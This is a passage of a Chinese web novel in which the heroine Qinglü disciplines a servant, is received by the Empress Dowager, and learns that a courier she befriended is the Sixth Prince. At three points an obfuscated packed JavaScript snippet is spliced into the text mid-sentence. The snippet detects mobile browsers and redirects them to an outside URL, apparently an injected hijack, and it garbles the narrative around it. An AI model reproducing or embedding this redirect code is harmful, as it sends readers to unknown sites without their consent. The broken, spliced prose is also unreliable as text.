水、慧二位妈妈和叶儿甚为惊喜,忙着端椅倒茶。 青绿落座,才接过叶儿递来的茶水,一名五花大绑的半大小子被推了进来,赤裸的背上负着几根碗口粗的木柴,身后跟着一名两鬓斑白五官粗犷的老头。 青绿猛不丁被吓了一跳,定睛一看,半大小子却是简杰。 老头负手喝令简杰:“跪下。” 简杰屈膝跪在地上。 老头咬牙切齿地对青绿道:“这孽畜,随二姑娘处置。” 不用问,这是简杰的亲爹,凡府简大总管。 青绿不曾有过管理下人的经历,却又不想在他们面前露拙,故作镇定地捧着茶盏慢腾腾喝了一口,扭头展眼四顾,叶儿过来将茶盏接在手上。 青绿默了一默,也不去看简总管,低着头,一双点漆黑瞳打量了简杰好一会,方开口道:“我是不是住在此处?” 简杰却是个楞头青,虽感觉到压力山大,仍脖子一梗:“是又如何不是又如何?要打要杀通快点。” 青绿一下被噎在当场,这台词如何接上她没想好。 简总管急得照着儿子脸上就是狠狠一掌:“你这臭小子,死到临头还犟。” 简杰脸上瞬时现出一个五指大红掌印。 简总管朝妹娘跪下:“养不教父之过,妹娘,我也没脸再当这个差了。” 妹娘微笑道:“简总管这是做甚?没的折杀了小辈。” 示意小北将他扶起。 青绿板着脸去取简杰身上的木柴,她猫爪似的小手哪里取得出来。 简总管拿起桌上的剪子,剪断捆绑木柴的麻绳,选了一根最大的递给她。 青绿双手去接,那叫一个重,险些没掉到地上砸了自己的脚,心里骂道:这简老爷子忒会算计,摆明了是欺我拿不动呢。 她将木柴朝地上一扔,对简杰道:“你拿木柴朝自己脑袋打三下。” 小北拿着一条打湿的丝帕替青绿擦手,故意将胳膊肘戳在简杰脸上。简杰常欺她是个无主的,故她受的气不比叶儿少。 叶儿抿嘴偷乐,给青绿递上换好的热茶。 简杰拿起木柴,眼皮都不眨一下,恨命朝自己当头就是一棒,霎时有鲜血从发根冒出,一直淌到脸上。 简老爷子心疼得直哆嗦:傻小子,你还真下得了手,你打的可是我儿子。 简杰再要敲第二棒时,青绿道:“别打脸。” 简杰一愣,手举木柴悬停在半空。 简总管劈手夺过木柴,嘴里道:“二姑娘千万别便宜了这小子,多打几下让他长些记性。” 妹娘不知青绿肚子里卖的是什么药,笑问青绿:“这是为何?” 青绿撇撇嘴:“留着他充门面。” 简总管踢了儿子一脚:“二姑娘大人大量,不与你这臭小子一般见识,还不赶紧谢过二姑娘?” 简杰嗫嚅道:“谢二姑娘。”声音比蚊子哼哼大不了多少。 叶儿与小北面面相觑:不是,这便算完了?说好的复仇大戏呢? 简总管带着明显讨好的语气问:“二姑娘要充什么门面?老奴立马去安排。” 青绿板着脸道:“过几日我要去菜市口,让他跟着。” 简杰年纪与小北不相上下,人高马大,一身肌肉结实得如他刚才背来的木柴。 简总管微微躬身道:“二姑娘放心,老奴此刻便着手准备,包管二姑娘面子里子都充得满满的,随时能膨胀。” 妹娘看着青绿,微胖的圆脸上,满脸的皱褶都透着欣慰,她真怕青绿一气之下开了简杰,简总管是府里的老人,忠心勤勉,简杰也是个实在孩子。 看来青绿在外头的苦没有白吃,做事周到了许多。儿时的青绿一不开心,便撅着小嘴要撵了这个丫鬟那个妈妈,问她为何要撵人,却又说不出个所以然,只说她们长得不好看,为此常被大哥凡不凡上“不能以貌取人”的专题教育课。 青绿不敢与大哥争辨,否则以他的口若悬河,恐怕连晚膳都得耽搁,但等大哥一走,她转头便对妹娘道:“因为丑人多作怪。” 房内,小北替青绿宽着外衣,有些不甘地问道:“姑娘,简杰对你如此无礼,为何还留着他?不是该狠揍一顿撵出去么?” 青绿大度道:“他是职责所在,又没错,撵他作甚?” 小北似懂非懂,却也觉着姑娘变了许多,记忆中的姑娘睚眦必报,一次家里的小白狗不小心拆了她为蚂蚁搭的遮阳棚,她撵着小狗绕着约素院跑了三圈,不停地朝小狗砸鸡蛋,小狗浑身上下被染成了黄色,被鸡蛋砸得怀疑狗生。 小北心疼鸡蛋,追在青绿后面道:“姑娘快别砸了,这些鸡蛋可是姑娘亲自接生的,不怕母鸡与姑娘翻脸么?” 青绿方才作罢。 翌日,青绿带着小北一出院门便傻了眼,一队几十名腰佩双刀的青壮护院,一色的黑衣黑头巾,露着白得耀眼的交领,齐刷刷地列队等候她的到来。 她见得最多的摆谱阵仗,是一些个纨绔子弟带着几个娇滴滴的丫鬟和贼眉鼠眼的扈从在闹市造势,丫鬟将路过的她视作小乞丐,甚为得意地命扈从赶她走,扈从上来也不问话,踢她几脚让她“滚粗”。 简杰上前对青绿行了一礼,恭谨道:“奉大总管之命,简杰听候二姑娘差遣。” 他本就长得浓眉大眼,今日这身打扮显得更为精神。 青绿愣了半晌,她是去炸街又不是去攻打皇宫,要这许多生猛后生做甚?想了想,压抑着得意道:“都回吧,简杰你与小北跟着便行。” 菜市口,卖面的宋婶看见一位穿着天青色缎子衣裳的女孩带着两个跟班朝自己的面摊走来,忙热情招呼:“姑娘,来碗面?有大肉面,也有素面。” 女孩将一个沉甸甸的布袋搁在她面前道:“来六碗大肉面,只搁肉不放面。”顿了一顿又补上一句,“不用找补。” 宋婶目测袋子里的银子不少于二十两,好心提醒:“我家的面份量大,三碗足够了。” 女孩挑了挑眉,大声道:“我吃一碗,看一碗,不行么?” 宋婶好生奇怪地仔细打量了一下出手阔绰的女孩,双手突然一拍腰间的围兜,高兴道:“丫头是你啊,宋婶差点认不出来。” 众摊贩齐刷刷将目光投到青绿身上,继而纷纷围拢过来,只有瞎了眼的算命先生闭着眼一副似睡非睡模样。 蹲在地上往灶里添柴的吴雅童抬起头来,狐疑地看了一会青绿,嘴角一撇:“小姐姐这是发达啦?可惜穿上龙袍也不像太子。” 宋婶拿起擀面杖作势要打他。 青绿笑吟吟道:“姐姐心情好,不与你计较。” 女孩走到瞎子的算卦摊前,递上同样重量的袋子道:“谢谢大师吉言。” 瞎子面无表情地推开布袋:“不必谢我,是姑娘命好。” 女孩也不与他客气,拿上钱袋便朝来路走去。 身后传来吴雅童的夹子音:“小姐姐,你是如何从一个穷酸变身为超级富婆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青绿见街上店铺林立,便道:“这街上甚是热闹,卖什么的都有。” 大伯热情道:“皇城布局是前朝后市,以皇宫为中心,前为朝廷,后为市场。”又指着右前方一溜高大的宅邸,“此处是‘北阙甲第’,达官显贵的住处。” 小北望着屋椽的雕龙画凤惊呼:“真气派。” 大伯自豪道:“姑娘,待会你见了未央宫,那才叫气派。未央宫老大了,里面有四十多座宫殿。” 沉默许久的简杰开口道:“大伯,你进过宫么?听说里面的娘娘都美得跟天仙似的。” 小北狠狠白了他一眼。 大伯遗憾道:“皇宫岂是我等庶民能随意进去的?至于娘娘,更是连见都没见过,各宫殿之间都有飞架的空中廊道与地面甬道相连,娘娘们在宫内往来,外人压根见不着。” 临近宫门,青绿忽然看见右前方不远处一个似曾熟悉的背影朝横街方向而去,她喊了一声:“停车。”等不及马车停稳,跳下车便朝前追去,眨眼之间,那个背影便已消失在茫茫人海之中,水灵灵地人间蒸发了。 她伫立着环顾四周,一时心内怅然。 隔着宽阔的北阙广场,青绿三人挤在熙熙攘攘瞻仰皇宫的人群中,对面便是金碧辉煌的未央宫,她望着气势恢宏的巍峨宫殿及壮丽的北阙怔怔地出神。 凡不凡大哥给她下了禁足令,禁止她踏进皇宫,让她把过去的一切都烂在肚子里,说否则宫内又将再掀腥风血雨。 但她不甘心,必得进宫探个究竟,无论如何她得弄清楚自己为何遭受套麻袋的无妄之灾。 青绿正思索着如何混进宫内,忽觉头上的小髻髻被人用力扯了一下,回头一看却是小哥,身旁仍是那位高傲美丽的凤凰姐姐,凤凰姐姐仍是居高临下看她的神态,青绿对她报以“我当你是空气”的态度,白眼都懒得朝她翻。 小哥笑盈盈问道:“看啥?想进去?” 青绿满怀希冀地点点头。 小哥豪爽道:“这个简单,我领你进去。” 青绿不屑道:“切,凭你,也能进皇宫?” 小哥轻松道:“骗你是猪。” 青绿眼珠子骨碌碌一转,拍了一下脑袋:“对哦,瞧我这猪脑子,送快递的就没有进不去的地方。” 小哥嘴角微翘,凤凰姐姐背着他狠狠剜了她一眼。 青绿仍当她是空气,得寸进尺地对小哥道:“你何时能带我进去?” “明日此时,我在此处等你。” “说好了,我便扮作你徒弟好了。” 二人同时伸出右掌对击:“一言为定。” 5. 第五章 入宫 晚膳妹娘亲自下厨,几道富含岭南特色的菜肴摆了一桌,红烧乳鸽、菠萝咕咾肉、茉莉蒸桂鱼、菠菜豆腐丸等,色香味俱全,主食是香煎绿豆猪肉粽,还有甜品糯米黑芝麻汤圆。 妹娘坐在青绿身旁,不停地给她夹菜,如填鸭般恨不得一口将她喂成水肿。 依青绿的性子,何尝不想风卷残云?然在大哥面前她仍是拘谨,强迫自己放慢进食的速度,默默埋头拨拉着饭菜。 不凡看着安静进食的小妹,开口轻声道:“两后召你明日进宫。” 青绿一愣,脱口而出:“明日?” “嗯,有事?” 青绿欲言又止,片刻,摇摇头道:“没,没有。”埋头继续用膳。 不凡不无担忧地看看她,一脸严肃作碎碎念:“那便说定了,明日你随雪霁姐姐进宫,两后问你话,须得掂量后才答,不可多说也不可多问,更不可多看,结束后即刻回家,万不可在宫内停留。” 她一一点头答应。 翌日,妹娘卯时便将青绿唤醒,替她沐浴更衣,好生梳洗打扮停当,又认真查看了一遍:一头细碎黄毛在头上挽了一个小垂髫,点缀着几朵带着绿叶的嫩黄迎春花,额前留着齐眉穗,十分合身的淡绿色云锦襦裙,雅致之中不失精灵活泼。 美中不足的是,脸上的痘痘虽用了雪霁拿来的上好膏药,先前炎症已除,但仍留有几个大大的黑红疤痕,一些潜伏的豆豆也蠢蠢欲动开始冒头,红红的,像未熟透的小樱桃,未免有些大煞风景,好在肤色黝黑,显得不那么剌眼。 青绿屏神凝息跟在雪霁身后进入寿安殿正殿。 她不着痕迹地打量着这座大殿,顶上悬着一颗巨大的熠熠生光的随珠,地上以蓝田暖玉铺就,每块玉上刻着一朵盛开的芙蓉,花瓣玲珑,连花蕊也清晰可辨。 一张宽大的金丝楠木贵妃榻临窗而设,一位老妪斜靠在榻上,白净的柿子脸,灰白头发,脸上皱纹并不明显,不时干咳几下,下弯的嘴角现出几分冷凛,眼神自带傲睨万物的威仪。她便是太后萧锦梵。 坐在她榻前小几上的是一位貌美无双的中年妇人,体态丰腴,圆润的杏子脸,眉眼间一副宠辱不惊的淡定及风过无痕的从容。此位是皇后李楚瑶。 青绿与雪霁一起跪下行大礼,口称:“太后娘娘千岁,皇后娘娘千岁。” 太后摆摆手,二人行了谢礼起身。 宫人拿了一个绣墩放在皇后下首,皇后示意雪霁坐下。 雪霁立在皇后身后低眉垂首道:“妾身站着方便侍候。” 太后撇了一眼小几上皇后搁着的半边圆润臀部,眼皮一抬,笑道:“也就几个八婆,无须摆那等给外人看的架势,一家子随意些说说笑笑才好。” 萧太后未出阁时,在一望无际的大草原肆意驰骋惯了,说话办事极少拖泥带水,如今上了年纪,凤体时常出现症状,但爽朗的性子却一如既往。 室内气氛顿时一松。 青绿觉着彪悍的太后与温文尔雅的皇后似乎有些不搭。 太后招手让青绿近前,拉着她鸡爪般的小手,想起她母亲芷楠长公主,不胜唏嘘,因问道:“娃娃,当年你是如何在皇后眼皮子底下玩失踪的?” 青绿见她说话甚为风趣,先前的忐忑不禁去了大半,对太后好感度瞬时提升。 她扭头看了皇后一眼,见皇后也在关切地望向她,脸上并无疑问。 青绿明白,两后其实已然知道她是如何走丢的,只是想亲耳听听她的说辞罢了。 太后摆出一副主持公道的威严神态道:“你看皇后做甚?不必怕她,照实说来,倘若是她的不是,哀家替你打她。” 青绿强忍住不敢笑,皇后脸上却有些讪讪的。 才落坐的雪霁忙起身恭谨道:“当初母后极是疼我们姐妹的,是小妹福薄。” 太后眼珠子一转,笑道:“哀家老糊涂了,霁儿你坐着吧。” 青绿垂下眼帘小声答道:“当年我出了皇后娘娘的宫门,误走进御善房,看见拉疏菜的马车停在那儿,我怕被爹责罚,便躲进装疏菜的大筐里,不成想却睡着了。赶车的也不查看,便将我运到了宫外。” 太后抬眸看着青绿,目光清明,并无半点老年人的混浊,调侃道:“看来娃娃有变身蔬菜的本事哟。” 青绿心虚地躲开她的目光,嗫嚅道:“待他发现从宫里带回一个孩儿,吓坏了,连声对娘子说‘我不是有意的,便有十个胆也不敢拐带宫里的孩子’,娘子说‘现送回去便有一百张嘴也说不清,只有捱千刀的份’,一家人当即收拾行李将我带到了岭南。” 众人叹气:“可怜的娃。” 青绿语气低沉:“我也时时想着要回家的,只是年纪小认不得路,且岭南地方不太平,我也不敢独自上路,直至养父母去世了,我才跟着进京的商船回来。” 她的这番说辞是与大哥商量好的,虽说连自己都觉着漏洞百出,但也只能如此了。 跟随太后多年的寿安宫大长秋令玉嬷嬷恨声道:“那赶车的便因害怕,生生拆散人家父母孩儿?真该千刀万剐。” 皇后语气平和道:“那家子为何要将你一个小女孩带去遥远的岭南?岭南距长安五千里呢。” 一般而言,拐来的女孩转手便卖掉了,还养了这么多年,确是令人费解。 太后点头,投来“同问”的目光。 青绿萌萌道:“我也不知道唉,或许他们见了我,真以为我是一颗行走的大胡萝卜,想抓回去种在地里吧。” 太后很没风度地哈哈大笑,一屋子人跟着捂嘴偷乐。 皇后想起当初皇帝说起青绿走失时的情形,便也抿嘴微笑。 当日皇帝在朝上,为着是否出兵镇压骚扰北境的匈奴一事议决不下,心情郁闷,便闲步到椒房殿看才出生的七公主,龙辇才至正殿前门便闻说笑之声,宫人秉报是芷楠长公主来向皇后道喜。 长公主纳兰芷楠是太后认的,与他并无血缘关系,且是臣子之妻,他自思此时入内不便,便绕至正殿北门进了后院。 他正慵懒地沐浴着太阳浴,被一声珠落玉盘的清脆童音打断:“大人,你也是被罚在此处思过么?” 抬眼看去,是一名粉雕玉琢的可可爱爱的小女孩,一身小橙袍,头上的双丫髻系着两个硕大的绿色蝴蝶结,轻风拂来,蝴蝶上下纷飞,满是喜感。 他见女孩黑如点漆的双眸正关切地望着自己,不由满脸笑容地朝她点点头,算是默认了她的问话,又示意她坐在自己身旁,装模作样听她煞有介事地胡诌。 一大一小的愉快聊天被突然出现的中常侍曾一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457159|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣打断。 曾一鸣是他的贴身侍卫,宫内宦者秩级最高的宦官,也就是大内总管。 或许曾一鸣压根就没想到,才站着打了个盹的功夫便有人闯入禁地,一时恨不得将眼前的小人扔出宫墙,但即将实施的行动被他用眼神制止。 故后来皇后禀报宫内丢失了小青绿,这可是在他眼皮子底下丢失的,顿时雷霆震怒。 皇后因笑着对太后道:“可不是么,当年这小丫头一身橙色小袄,胖呼呼的脸蛋红扑扑的,头上扎着两个绿色大蝴蝶结,可不就是活脱脱一个新鲜大胡萝卜。” 太后上了年纪的人,缠绵病榻心情抑闷,今开怀大笑,顿觉一阵轻松,便命:“赐坐,赏点心。” 一名宫人将小几摆在榻前,待青绿坐下,玉嬷嬷将一盘精致的五色茶点放在青绿面前。 青绿一大早便出门,耗了这半日,已是饿极,不客气地伸出小爪子抓了一块桂花松子糕便往嘴里塞。 皇后不易察觉地微蹙了一下眉,雪霁面露尴尬便要出言阻止。 却听太后笑道:“皇后,最近宫里不是新选了一批秀女么?明日起,你让这娃娃进宫与秀女们一起学规矩,闲时来与哀家解解闷。” 雪霁牢记大哥不可让青绿再进宫门的嘱咐,便小心推托道:“小妹性子野惯了的,恐扰了皇祖母的清静。” 太后不以为然地撇撇嘴:“这宫内便是太清静了,日常猫鼠连个屁都不敢放。” 青绿憋不住“哈”了一声,赶紧用手背挡住差点喷出来的糕点渣,心想这老祖宗任性起来也是没边了。 雪霁惶恐看向皇后。 皇后忙道:“原是臣妾照顾不周,既是老祖宗喜欢,明日让青绿姑娘进宫便是。” 雪霁猜想太后是爱屋及乌,以前她也时常让娘进宫说话解闷的,便行礼道:“妾身替小妹谢过太后娘娘。” 青绿跪下对两后叩头:“谢太后娘娘、皇后娘娘恩典。” 让她进宫正中下怀,虽说学规矩得受百般约束。 皇后对玉嬷嬷道:“你领青绿姑娘出宫,我与霁儿还有话说。” 太后笑道:“阿玉你得留着点神,别又让这娃娃被麻袋给套走了,这瘦弱的小身板套在麻袋里,那等瞎眼卫士看见了真当是一袋柴薪。” 说得一屋子人又笑个不停。 太后又道:“把点心都带上。阿玉,你去吩咐教习室的齐姑姑给她吃独食,看能不能尽快养肥。” 青绿头点得如小鸡啄米:“青绿一定照太后娘娘吩咐去做,将自己养成一头猪,好给太后娘娘充作门面。” 便连皇后也憋不住露出了一线雪白的牙影。 玉嬷嬷将青绿送至北门不远处,将一盒点心及一个腰牌交到她手上,叮嘱道:“这是出入宫门用的令牌。姑娘顺此路出门便可,外头已备好马车,守宫门的袁卫尉令看到令牌会送姑娘回府。我去教习室知会齐姑姑一声。” 青绿细看手中约六寸长的桃木令牌,上面刻着她的姓名、年龄、性别、身份等,边上还有个作对证用的不规则缺口。 她将令牌在手腕上套好,低头快步朝宫门走去。 忽觉头皮一紧,头上的小髻髻被人从后头扯住。 青绿猛然想到了什么,心底一沉:糟糕,放了人鸽子。 6. 第六章 画卷 青绿双手护住发髻缓缓转头,一脸愧疚道:“抱歉,小哥大人,非是我食言,一大早我便被拎进宫了,这不正赶着出宫与你碰头么?” 扯着青绿发髻不放的小哥也不吭声,脸上似笑非笑。 青绿原就与他约好在皇宫门前不见不散,今自己不守信,很觉惭愧,因干笑着无话找话道:“呵呵,小哥,巧了,你怎么也在宫里?” 待看见他手上提着一个包装精美的长布袋,恍然道,“是了,你是来送快递的。”她的记忆里,小哥是驿站负责驿传的。 却分明看见小哥紧抿着上翘的嘴角,忍得很难受的样子,她也不去细想,又道:“明日起,我要进宫随教习姑姑学规矩,或许能再遇着你,回头再聊,我现要赶着回家。” 小哥终于清了清嗓子,笑着开口道:“晚些出宫不打紧,你不是想看皇宫么?我带你四处走走。” 青绿疑惑道:“你能在宫里随意走动?” 小哥语气颇为轻松:“能啊,这宫里没我不能去的地方。” 青绿嗤笑:“切,海王。” 小哥有些好奇地问:“何为海王?” 青绿一撇嘴:“海里的龙王,纵横四海,想上哪便上哪。你能在皇宫四处瞎逛,不只是海王那么简单了,妥妥地是海王中的战斗鸡。” 小哥一脸诚恳道:“非也,只是快递送多了,混个脸熟而已。” 青绿一想,对哦,小哥对皇宫了如指掌,有他带着,省了她来日如无头苍蝇般乱窜,便点头道:“如此甚好,我便随你开开眼界。”因又体贴道,“你不先送快递么?超时要被扣银子的。” “也对,你不介意吧。”小哥似乎才记起自己的职责。 青绿苦着脸道:“不碍事,只要不把我套麻袋。唉,说了你也不明白。”她不想对小哥说自己在宫内曾被套过麻袋,唯恐吓着他。 小哥点头,终是忍不住呵呵。 青绿跟着小哥一路穿花拂柳,行廊过殿,到了北区东头一座辉煌锦绣的宫殿。 凤凰姐姐笑意盈盈迎出门来,见了青绿,先是一楞,随后朝青绿示好地笑笑,接过小哥手上的长条布袋。 青绿仍当她是空气,趋步上前与小哥并肩而行,好奇地问:“这是何处?” 小哥漫不经心地答道:“东宫。” 青绿伸伸舌头:“原来是给太子送快递。”她看过的话本子,里面写着太子住在东宫。 小哥笑着纠正:“不是太子,东宫住的是六皇子,当朝未立太子。” 她放缓脚步,畏畏缩缩地问:“六殿下,他在宫里么?” 见小哥摇头,她神情一松,放下心来。 小哥带她穿过宽阔的庭院,来到一间书房模样的极清雅的屋子,室内的桌椅屏风、笔墨纸砚及花树鸟鱼等无不精致考究。 小哥对她道:“你随便坐,我先处理庶务。” 她私毫不把自己当外人,自觉在窗前的贵妃椅上落坐,便有身段婀娜的美貌宫人奉上香茗和茶点。 青绿感慨:皇宫里的人服务意识就是强,对一名送快递的小哥都这么上心。唉!谁让小哥长得这么好看呢,这才是关键,皇宫绝对是靠颜值吃饭的地方。 青绿拿起小巧玲珑的茶点放进嘴里,边吃边欣赏面前书桌上那方长约尺余的砚台,见其石色青莹细润,周边刻着间错延伸到边的几座大小山峰,当中琢成砚池,池中碧水荡漾,妙趣横生。 凤凰姐姐一直关注她的动静,见她留心砚台,便一边将布袋里的物件取出来一边对她道:“此方龙尾石歙砚,为天下之冠。” 青绿撇她一眼,见她今日打扮得如同一株怒放的梨树,一袭雪白长裙,内裹粉色抹胸,衬得胸前堆峰凝雪,一双似喜非喜含情目总不离小哥左右。 青绿顿觉不爽,便用手捏着脖子,对小哥道:“今日叩头叩得脖子都僵了,小哥你帮我揉揉。” 凤凰姐姐闻言,不敢置信地看看她又看看小哥。 小哥举着狼毫正在一卷简牍上落笔,闻言,将笔架在砚沿上,走到青绿身后,洒然一笑:“坐好了。” 凤凰姐姐忙将手中物件朝桌上一扔,也不管是否放稳了,抢前一步将小哥推开,笑道:“这点小事不劳烦公子,我来吧。”伸手便在青绿细长的脖子上拿捏起来。 她柔软的指尖捏得青绿很是舒服,侧头才要说声谢谢,却见她面有愠色。 青绿脑子闪现出方才她胸器剐蹭到小哥未及缩回的胳膊而脸含羞涩的那一幕,心里忽然生出一股子恶趣味:哼,恶意碰瓷,没门。 因眯缝着眼睛笑道:“姐姐,你那纤纤玉指不得劲,还是小哥来吧。” 凤凰姐姐脸色由愠转怒,这个貌不起眼的小丫头凭什么能在他面前为所欲为?不由手上暗戳戳地狠狠一捏。 青绿脖子骤然负痛,她却是明人不吃暗亏,歇斯底里大喊一声:“哎哟。” 惊得窗外一只画眉扑刺刺在笼中左冲右突。 凤凰姐姐愕然,她料不到这小混蛋喊得这等大声,一时睁大凤眸不知所措地愣在当场。 青绿嘴角现一抹促狭:哼,让你个高高在上的凤凰吃瘪,快哉。 小哥将青绿的小心思全看在眼里,觉着好笑,很配合地撇了凤凰姐姐一眼。 凤凰姐姐默默退后,兀自咬牙切齿。 小哥伸出白晰修长的食指在青绿鼻尖上轻轻一点,微笑道:“无赖小二。” 青绿得意:“谁让你是小哥。” 遂将一只胳膊搁在书桌上,撑着小脑袋闭目享受起小哥的按摩,在丝丝若有若无的檀香中竟至昏昏入睡。 她恬静的侧面轮廓静静落在小哥眼里,瓜子脸,眉长入鬓,睫毛纤长而浓密,小而高挺的鼻子,上翘的嘴角在唇边挤出一个浅浅的梨涡,微微退后的衣领露出半截细腻雪白的颀长脖项,与脸上的肤色形成极为明显的黑白反差。 小哥的目光不经意朝下一扫,却是货真价实的太平公主,让人生不出半分暇想。 青绿被一个声音吵醒:“殿下,皇后娘娘在椒房殿接见西域来的大月公主,请殿下过去。” 耳边有声音轻声道:“下去吧。” 她迷糊睁眼问道:“殿下回来了?”抬头看看离去的宦者背影,又看看小哥,“殿下在哪?你么?” 小哥星目闪了闪,不置可否。 青绿龇着细碎整齐的雪白贝齿失笑:“你若是皇子,我便是皇后娘娘。” 突然,她的视线越过小哥的肩头看见了凤凰姐姐半是鄙夷半是怜悯的复杂眼神,吓得一个激灵,半吞半吐地对小哥道:“你……真是皇子?” 未及听见答案,她便像一只泄了气的皮囊,身子缩作一团。 不得不承认,面前这个家伙是货真价实如假包换的皇子,因为他不穿龙袍也像太子。 她兀自小声嘀咕:本以为游进了小哥的小鱼池,没想到小哥是个海王,还是个纵横四海的海王。如此,你还怎么当我小哥? 她颓然从椅子上滑落在地,双手捂住眼睛不敢吭声,那副垂头丧气的模样,比冬日霜打过的小草还萎靡。 小哥,不,六皇子刘睿怼脸瞪着她,揶揄道:“怕啦?” 她老实点头。 凤凰姐姐一副大仇得报幸灾乐祸吃瓜不嫌事大的神态。 刘睿呵呵道:“呵呵,小二也有怕的时候?” 青绿的声音带着哭腔:“有的,我怕蟑螂。” 这种在南方被称为曱甴的恶心玩艺,不但能飞且飞得很高。 刘睿大笑。 青绿露出少有的囧态,双手捂得更紧了,却又忍不住想看看快递小哥与殿下小哥有何不同,因将手指张开一条缝隙去偷看刘睿,无意间却看见了方才凤凰姐姐落在地上的物件。 这是一幅画卷,此时已然打开,她看了一眼,瞬间便被那大气蓬勃的画面震撼得无以复加。 这是一幅以青绿色为基调,气魄宏大、构图严谨、色彩绚烂的山水画长卷。 画中山峦起伏绵延,江河烟波浩渺,山岭坡岸水域中绘出的景物繁多,然落笔细腻,意态生动,尽显万千气象,尤是那覆盖整个画面的远青近绿,将万里江山浓缩为近四丈长的江河湖海和山峦叠嶂,使之咫尺有千里之契。 她只觉得自己被那一抹绿色亮瞎了双眼。 刘睿看她如痴如醉的神色,笑着对她道:“这是我好不容易求来的稀孟的《万里江山图》,喜欢,送你了。” 青绿眉开眼笑。 凤凰姐姐张着鲜红的樱桃小口忘了合拢,她以为自己听错了。 稀孟原为辉山画院弟子,十四岁时,被未央宫图画院笔墨技法最为精湛的画师老野收为徒弟,得其指点,稀孟的画艺突飞猛进,十八岁作《万里江山图》,惜年寿不永,二十岁便英年早逝,此画遂成千古绝笔。 刘睿费尽唇舌才从其皇帝老子那里磨来此画,今日竟然如此轻易地转送给一个黄毛丫头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457160|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青绿呆呆盯着画卷,她走过的万水千山,似乎触手可及。 一念至此,眼前不由出现回京同行的少年,此刻人在何处?是否已有落脚之地? 此刻,东郊山尚学宫,一名仗剑青衫的少年正在聚精会神地听律法先生百里冰讲解律法案例。 已有百年历史的山尚学宫是私学,因地处礼尚山而得名。 当年太学规模小,生员名额有限,皇帝便命太常千墨语创办一所集育才著述并兼咨政的高等学府,千墨语选址东郊礼尚山。 建好后的山尚学宫坐落于礼尚山东面开阔的缓坡上,前临灞水,后枕礼尚山,与位于城西的太学遥相呼应。 同为效力于朝廷的高等学府,山尚学宫与太学有所区别:太学由官府举办,学宫则为私家主持;太学讲授儒家五经,学宫则以黄老为主兼容百家之学;太学弟子主要面向官宦子弟,学宫则是来者不拒,去留悉听尊便。 学宫落成后,千墨语辞官专事管理。如今的学宫大祭酒,是千墨语的第六代孙千墨云。 拜在百里冰名下的二十几名弟子谈起律、令、科、比均头头是道,但一到具体案例分析,便有些畏首畏尾。 先生问:“父与人因口角生斗殴,对方用刀剌父,儿持棍相救,却误伤父,如何判决?” 弟子们异口同声答:“依据汉律,子伤其父,应论死罪。” 先生目光扫过所有弟子,不作评论。 室内一时陷入沉默。 站在弟子们身后的少年大声道:“窃以为应判无罪。”语音清明婉扬似流水击石。 众弟子不约而同回头看去,却是一位陌生的俊逸少年,虽神色清冷,然那份淡然出尘,还有骨子里透出的清傲,在坐诸生不得不暗赞一句:有匪君子,美无度。 先生扬了扬眉毛,目光扫过众弟子,见并无异议,点点头,总结陈词:“父子至亲,儿出于孝心持棍救助,当无罪免刑。” 众弟子皆频频点头。 先生继续抛出案例:“前朝大司农颜异,听到有人议论皇帝诏令有不当之处时,没有应声,仅微反唇。御史大夫张汤据此奏称颜异‘身为九卿,见诏令有不当之处,不提醒陛下,却在心里加以诽谤,应处死刑。’可有异议?” 众弟子面面相觑,皆不敢言。 先生循循善诱,大力鼓励:“学术研讨无禁区,不问罪。” 众弟子仍不敢答。 俊逸少年轻声道:“在下窃以为不妥,如是之后有腹诽之法,公卿大夫大多以谄媚阿谀来讨好皇上,以求容身之地。” 弟子们目光集中到先生脸上。 先生直立壮硕身躯,粗短的五指摩挲着下巴,微微点头:孺子可教也。 俊逸少年课后并没有离开。 百里冰关切问道:“想学律法?” 俊逸少年十分期待而严肃地点头。 百里冰道:“到学宫管事处报名,交上束脩便可。学宫内有斋舍供住宿,膳食方面,可纳斋银后在斋厨用膳,亦可自行解决,各斋舍外均垒有灶台。” 俊逸少年摇摇头,坦然道:“我交不起束脩。” 显然百里冰对学子交不起束脩的情况司空见惯,默了默,问俊逸少年:“我缺助教,听说过助教么?” “知道。”俊逸少年语气肯定,他为此做过功课。 助教,往好听了说是协助先生教学,实则是先生的公私事一并包圆,大师们还好,最少有两名助教,可依职责细分为教学助教和生活助教,便是生活助教也仅是安排先生日程,不用干仆人的活。 百里家的助教要干的活,包括但不限于洗衣做饭的各类杂活。 百里冰继续道:“助教住在我家,学、食、宿免费,但我能付的俸禄极少,你也看到了,我名下的弟子不多,与那些动辄便有三几百甚至上千弟子的山尚先生无法比。” 山尚学宫设大祭酒及左、右两位祭酒,还有十余位大师,他们除传授学科经典外,还教导圣人之道,被尊为山尚先生。能拜在山尚先生门下的弟子,被誉为山尚弟子,其余泛称先生及弟子。 